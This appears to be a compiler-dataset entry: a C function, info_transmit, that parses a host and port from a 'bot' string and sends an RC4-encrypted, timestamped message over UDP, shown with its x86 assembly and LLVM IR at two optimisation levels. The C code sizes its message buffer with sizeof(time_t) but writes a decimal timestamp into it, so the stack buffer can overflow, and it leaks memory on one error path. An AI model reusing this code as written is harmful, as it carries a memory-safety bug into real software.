#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ time_t;

/* Variables and functions */
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ errno;
int /*<<< orphan*/ free(char *);
int /*<<< orphan*/ info_rc4_cipher(unsigned char *, unsigned char *, size_t);
int /*<<< orphan*/ log_err(char *, char *);
char *malloc(int);
int net_create_udp_socket(char *, char *);
int send(int, unsigned char *, size_t, int /*<<< orphan*/);
int /*<<< orphan*/ sprintf(char *, char *, long, char *, char *);
int sscanf(char *, char *, char *, char *);
char *strerror(int /*<<< orphan*/);
int strlen(char *);
scalar_t__ time(int /*<<< orphan*/ *);
scalar_t__ udp_get_key();
void info_transmit(char *bot, char *type, char *message) {
  char *host = NULL, *port = NULL;
  size_t len;
  int fd;
  len = sizeof(time_t) + 1 + strlen(type) + 1 + strlen(message) + 1;
  unsigned char msg[len + 1];
  host = malloc(strlen(bot) * sizeof(char));
  port = malloc(strlen(bot) * sizeof(char));
  if (port == NULL || host == NULL) {
    log_err("[i] malloc() error: %s\n", strerror(errno));
    return;
  }
  if (sscanf(bot, "[%[^]] %*[^':']:%s", host, port) != 2) {
    free(host);
    free(port);
    log_err("[i] invalid bot declaration: %s\n", bot);
    return;
  }
  sprintf((char *)msg, "%ld:%s:%s\n", (long)time(NULL), type, message);
  info_rc4_cipher(msg, (unsigned char *)udp_get_key(), len);
  fd = net_create_udp_socket(host, port);
  if (fd == -1)
    return;
  if (send(fd, msg, len, 0) == -1)
    log_err("[i] send() error: %s\n", strerror(errno));
  close(fd);
  free(host);
  free(port);
}


x86 assembly (clang, -O0):
<info_transmit>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
movq   $0x0,-0x20(%rbp)
movq   $0x0,-0x28(%rbp)
mov    -0x10(%rbp),%rdi
call   1050 <strlen@plt>
cltq
mov    %rax,-0x60(%rbp)
mov    -0x18(%rbp),%rdi
call   1050 <strlen@plt>
mov    %eax,%ecx
mov    -0x60(%rbp),%rax
movslq %ecx,%rcx
lea    0x7(%rax,%rcx,1),%rax
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rdx
mov    %rdx,%rax
add    $0x1,%rax
mov    %rsp,%rcx
mov    %rcx,-0x40(%rbp)
add    $0x10,%rdx
and    $0xfffffffffffffff0,%rdx
mov    %rsp,%rcx
sub    %rdx,%rcx
mov    %rcx,-0x58(%rbp)
mov    %rcx,%rsp
mov    %rax,-0x48(%rbp)
mov    -0x8(%rbp),%rdi
call   1050 <strlen@plt>
cltq
shl    $0x0,%rax
mov    %eax,%edi
call   1090 <malloc@plt>
mov    %rax,-0x20(%rbp)
mov    -0x8(%rbp),%rdi
call   1050 <strlen@plt>
cltq
shl    $0x0,%rax
mov    %eax,%edi
call   1090 <malloc@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
je     1293 <info_transmit+0xc3>
cmpq   $0x0,-0x20(%rbp)
jne    12bc <info_transmit+0xec>
mov    0x2d46(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    %rax,%rsi
lea    0xd55(%rip),%rdi
call   10f0 <log_err@plt>
movl   $0x1,-0x4c(%rbp)
jmp    13c5 <info_transmit+0x1f5>
mov    -0x8(%rbp),%rdi
mov    -0x20(%rbp),%rdx
mov    -0x28(%rbp),%rcx
lea    0xd49(%rip),%rsi
call   10a0 <sscanf@plt>
cmp    $0x2,%eax
je     130b <info_transmit+0x13b>
mov    -0x20(%rbp),%rdi
call   1030 <free@plt>
mov    -0x28(%rbp),%rdi
call   1030 <free@plt>
mov    -0x8(%rbp),%rsi
lea    0xd31(%rip),%rdi
call   10f0 <log_err@plt>
movl   $0x1,-0x4c(%rbp)
jmp    13c5 <info_transmit+0x1f5>
xor    %eax,%eax
mov    %eax,%edi
call   1080 <time@plt>
mov    -0x58(%rbp),%rdi
mov    %rax,%rdx
mov    -0x10(%rbp),%rcx
mov    -0x18(%rbp),%r8
lea    0xd22(%rip),%rsi
call   10d0 <sprintf@plt>
mov    $0x0,%al
call   10c0 <udp_get_key@plt>
mov    -0x58(%rbp),%rdi
mov    %rax,%rsi
mov    -0x30(%rbp),%rdx
call   1040 <info_rc4_cipher@plt>
mov    -0x20(%rbp),%rdi
mov    -0x28(%rbp),%rsi
call   10b0 <net_create_udp_socket@plt>
mov    %eax,-0x34(%rbp)
cmpl   $0xffffffff,-0x34(%rbp)
jne    136c <info_transmit+0x19c>
movl   $0x1,-0x4c(%rbp)
jmp    13c5 <info_transmit+0x1f5>
mov    -0x58(%rbp),%rsi
mov    -0x34(%rbp),%edi
mov    -0x30(%rbp),%rdx
xor    %ecx,%ecx
call   1060 <send@plt>
cmp    $0xffffffff,%eax
jne    13a4 <info_transmit+0x1d4>
mov    0x2c52(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    %rax,%rsi
lea    0xcb8(%rip),%rdi
call   10f0 <log_err@plt>
mov    -0x34(%rbp),%edi
call   1070 <close@plt>
mov    -0x20(%rbp),%rdi
call   1030 <free@plt>
mov    -0x28(%rbp),%rdi
call   1030 <free@plt>
movl   $0x0,-0x4c(%rbp)
mov    -0x40(%rbp),%rax
mov    %rax,%rsp
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<info_transmit>:
push   %rbp
mov    %rsp,%rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x18,%rsp
mov    %rdx,%rbx
mov    %rdi,%r12
mov    %rsi,-0x38(%rbp)
mov    %rsi,%rdi
call   1050 <strlen@plt>
movslq %eax,%r13
mov    %rbx,-0x40(%rbp)
mov    %rbx,%rdi
call   1050 <strlen@plt>
movslq %eax,%r14
lea    (%r14,%r13,1),%rax
add    $0x17,%rax
and    $0xfffffffffffffff0,%rax
mov    %rsp,%rbx
sub    %rax,%rbx
mov    %rbx,%rsp
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %eax,%edi
call   1090 <malloc@plt>
mov    %rax,%r15
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %eax,%edi
call   1090 <malloc@plt>
test   %r15,%r15
je     131c <info_transmit+0x14c>
test   %rax,%rax
je     131c <info_transmit+0x14c>
lea    0xdc4(%rip),%rsi
mov    %r12,%rdi
mov    %r15,%rdx
mov    %rax,%rcx
mov    %rax,-0x30(%rbp)
call   10a0 <sscanf@plt>
cmp    $0x2,%eax
jne    1336 <info_transmit+0x166>
lea    (%r14,%r13,1),%r12
add    $0x7,%r12
xor    %edi,%edi
call   1080 <time@plt>
lea    0xdc7(%rip),%rsi
mov    %rbx,%rdi
mov    %rax,%rdx
mov    -0x38(%rbp),%rcx
mov    -0x40(%rbp),%r8
call   10d0 <sprintf@plt>
xor    %eax,%eax
call   10c0 <udp_get_key@plt>
mov    %rbx,%rdi
mov    %rax,%rsi
mov    %r12,%rdx
call   1040 <info_rc4_cipher@plt>
mov    %r15,%rdi
mov    -0x30(%rbp),%rsi
mov    %rsi,%r14
call   10b0 <net_create_udp_socket@plt>
cmp    $0xffffffff,%eax
je     130d <info_transmit+0x13d>
mov    %eax,%r13d
mov    %eax,%edi
mov    %rbx,%rsi
mov    %r12,%rdx
xor    %ecx,%ecx
call   1060 <send@plt>
cmp    $0xffffffff,%eax
jne    12f5 <info_transmit+0x125>
mov    0x2d01(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xd6a(%rip),%rdi
mov    %rax,%rsi
call   10f0 <log_err@plt>
mov    %r13d,%edi
call   1070 <close@plt>
mov    %r15,%rdi
call   1030 <free@plt>
mov    %r14,%rdi
call   1030 <free@plt>
lea    -0x28(%rbp),%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2cbd(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xccf(%rip),%rdi
mov    %rax,%rsi
jmp    1351 <info_transmit+0x181>
mov    %r15,%rdi
call   1030 <free@plt>
mov    -0x30(%rbp),%rdi
call   1030 <free@plt>
lea    0xcdd(%rip),%rdi
mov    %r12,%rsi
lea    -0x28(%rbp),%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
jmp    10f0 <log_err@plt>

LLVM IR (-O0):
@.str = [24 x i8] c"[i] malloc() error: %s\0A\00"
@errno = global i32 0
@.str.1 = [19 x i8] c"[%[^]] %*[^':']:%s\00"
@.str.2 = [33 x i8] c"[i] invalid bot declaration: %s\0A\00"
@.str.3 = [11 x i8] c"%ld:%s:%s\0A\00"
@.str.4 = [22 x i8] c"[i] send() error: %s\0A\00"
define void @info_transmit(i8* %0, i8* %1, i8* %2) {
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca i64
%10 = alloca i32
%11 = alloca i8*
%12 = alloca i64
%13 = alloca i32
store i8* %0, i8** %4
store i8* %1, i8** %5
store i8* %2, i8** %6
store i8* null, i8** %7
store i8* null, i8** %8
%14 = load i8*, i8** %5
%15 = call i32 @strlen(i8* %14)
%16 = sext i32 %15 to i64
%17 = add i64 5, %16
%18 = add i64 %17, 1
%19 = load i8*, i8** %6
%20 = call i32 @strlen(i8* %19)
%21 = sext i32 %20 to i64
%22 = add i64 %18, %21
%23 = add i64 %22, 1
store i64 %23, i64* %9
%24 = load i64, i64* %9
%25 = add i64 %24, 1
%26 = call i8* @llvm.stacksave()
store i8* %26, i8** %11
%27 = alloca i8, i64 %25
store i64 %25, i64* %12
%28 = load i8*, i8** %4
%29 = call i32 @strlen(i8* %28)
%30 = sext i32 %29 to i64
%31 = mul i64 %30, 1
%32 = trunc i64 %31 to i32
%33 = call i8* @malloc(i32 %32)
store i8* %33, i8** %7
%34 = load i8*, i8** %4
%35 = call i32 @strlen(i8* %34)
%36 = sext i32 %35 to i64
%37 = mul i64 %36, 1
%38 = trunc i64 %37 to i32
%39 = call i8* @malloc(i32 %38)
store i8* %39, i8** %8
%40 = load i8*, i8** %8
%41 = icmp eq i8* %40, null
br i1 %41, label %45, label %42
42: ; preds = %3
%43 = load i8*, i8** %7
%44 = icmp eq i8* %43, null
br i1 %44, label %45, label %49
45: ; preds = %42, %3
%46 = load i32, i32* @errno
%47 = call i8* @strerror(i32 %46)
%48 = call i32 @log_err(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0), i8* %47)
store i32 1, i32* %13
br label %93
49: ; preds = %42
%50 = load i8*, i8** %4
%51 = load i8*, i8** %7
%52 = load i8*, i8** %8
%53 = call i32 @sscanf(i8* %50, i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0), i8* %51, i8* %52)
%54 = icmp ne i32 %53, 2
br i1 %54, label %55, label %62
55: ; preds = %49
%56 = load i8*, i8** %7
%57 = call i32 @free(i8* %56)
%58 = load i8*, i8** %8
%59 = call i32 @free(i8* %58)
%60 = load i8*, i8** %4
%61 = call i32 @log_err(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.2, i64 0, i64 0), i8* %60)
store i32 1, i32* %13
br label %93
62: ; preds = %49
%63 = call i64 @time(i32* null)
%64 = load i8*, i8** %5
%65 = load i8*, i8** %6
%66 = call i32 @sprintf(i8* %27, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.3, i64 0, i64 0), i64 %63, i8* %64, i8* %65)
%67 = call i64 (...) @udp_get_key()
%68 = inttoptr i64 %67 to i8*
%69 = load i64, i64* %9
%70 = call i32 @info_rc4_cipher(i8* %27, i8* %68, i64 %69)
%71 = load i8*, i8** %7
%72 = load i8*, i8** %8
%73 = call i32 @net_create_udp_socket(i8* %71, i8* %72)
store i32 %73, i32* %10
%74 = load i32, i32* %10
%75 = icmp eq i32 %74, -1
br i1 %75, label %76, label %77
76: ; preds = %62
store i32 1, i32* %13
br label %93
77: ; preds = %62
%78 = load i32, i32* %10
%79 = load i64, i64* %9
%80 = call i32 @send(i32 %78, i8* %27, i64 %79, i32 0)
%81 = icmp eq i32 %80, -1
br i1 %81, label %82, label %86
82: ; preds = %77
%83 = load i32, i32* @errno
%84 = call i8* @strerror(i32 %83)
%85 = call i32 @log_err(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.4, i64 0, i64 0), i8* %84)
br label %86
86: ; preds = %82, %77
%87 = load i32, i32* %10
%88 = call i32 @close(i32 %87)
%89 = load i8*, i8** %7
%90 = call i32 @free(i8* %89)
%91 = load i8*, i8** %8
%92 = call i32 @free(i8* %91)
store i32 0, i32* %13
br label %93
93: ; preds = %86, %76, %55, %45
%94 = load i8*, i8** %11
%95 = load i32, i32* %13
switch i32 %95, label %97 [
i32 0, label %96
i32 1, label %96
]
96: ; preds = %93, %93
ret void
97: ; preds = %93
unreachable
}

LLVM IR (-O2):
@.str = [24 x i8] c"[i] malloc() error: %s\0A\00"
@errno = global i32 0
@.str.1 = [19 x i8] c"[%[^]] %*[^':']:%s\00"
@.str.2 = [33 x i8] c"[i] invalid bot declaration: %s\0A\00"
@.str.3 = [11 x i8] c"%ld:%s:%s\0A\00"
@.str.4 = [22 x i8] c"[i] send() error: %s\0A\00"
define void @info_transmit(i8* %0, i8* %1, i8* %2) {
%4 = tail call i32 @strlen(i8* %1)
%5 = sext i32 %4 to i64
%6 = add nsw i64 %5, 6
%7 = tail call i32 @strlen(i8* %2)
%8 = sext i32 %7 to i64
%9 = add nsw i64 %6, %8
%10 = add nsw i64 %9, 1
%11 = add nsw i64 %9, 2
%12 = alloca i8, i64 %11
%13 = tail call i32 @strlen(i8* %0)
%14 = tail call i8* @malloc(i32 %13)
%15 = tail call i32 @strlen(i8* %0)
%16 = tail call i8* @malloc(i32 %15)
%17 = icmp eq i8* %16, null
%18 = icmp eq i8* %14, null
%19 = or i1 %18, %17
br i1 %19, label %20, label %24
20: ; preds = %3
%21 = load i32, i32* @errno
%22 = tail call i8* @strerror(i32 %21)
%23 = tail call i32 @log_err(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0), i8* %22)
br label %50
24: ; preds = %3
%25 = tail call i32 @sscanf(i8* %0, i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0), i8* %14, i8* %16)
%26 = icmp eq i32 %25, 2
br i1 %26, label %31, label %27
27: ; preds = %24
%28 = tail call i32 @free(i8* %14)
%29 = tail call i32 @free(i8* %16)
%30 = tail call i32 @log_err(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.2, i64 0, i64 0), i8* %0)
br label %50
31: ; preds = %24
%32 = tail call i64 @time(i32* null)
%33 = call i32 @sprintf(i8* %12, i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str.3, i64 0, i64 0), i64 %32, i8* %1, i8* %2)
%34 = tail call i64 (...) @udp_get_key()
%35 = inttoptr i64 %34 to i8*
%36 = call i32 @info_rc4_cipher(i8* %12, i8* %35, i64 %10)
%37 = call i32 @net_create_udp_socket(i8* %14, i8* %16)
%38 = icmp eq i32 %37, -1
br i1 %38, label %50, label %39
39: ; preds = %31
%40 = call i32 @send(i32 %37, i8* %12, i64 %10, i32 0)
%41 = icmp eq i32 %40, -1
br i1 %41, label %42, label %46
42: ; preds = %39
%43 = load i32, i32* @errno
%44 = call i8* @strerror(i32 %43)
%45 = call i32 @log_err(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.4, i64 0, i64 0), i8* %44)
br label %46
46: ; preds = %42, %39
%47 = call i32 @close(i32 %37)
%48 = call i32 @free(i8* %14)
%49 = call i32 @free(i8* %16)
br label %50
50: ; preds = %31, %46, %27, %20
ret void
}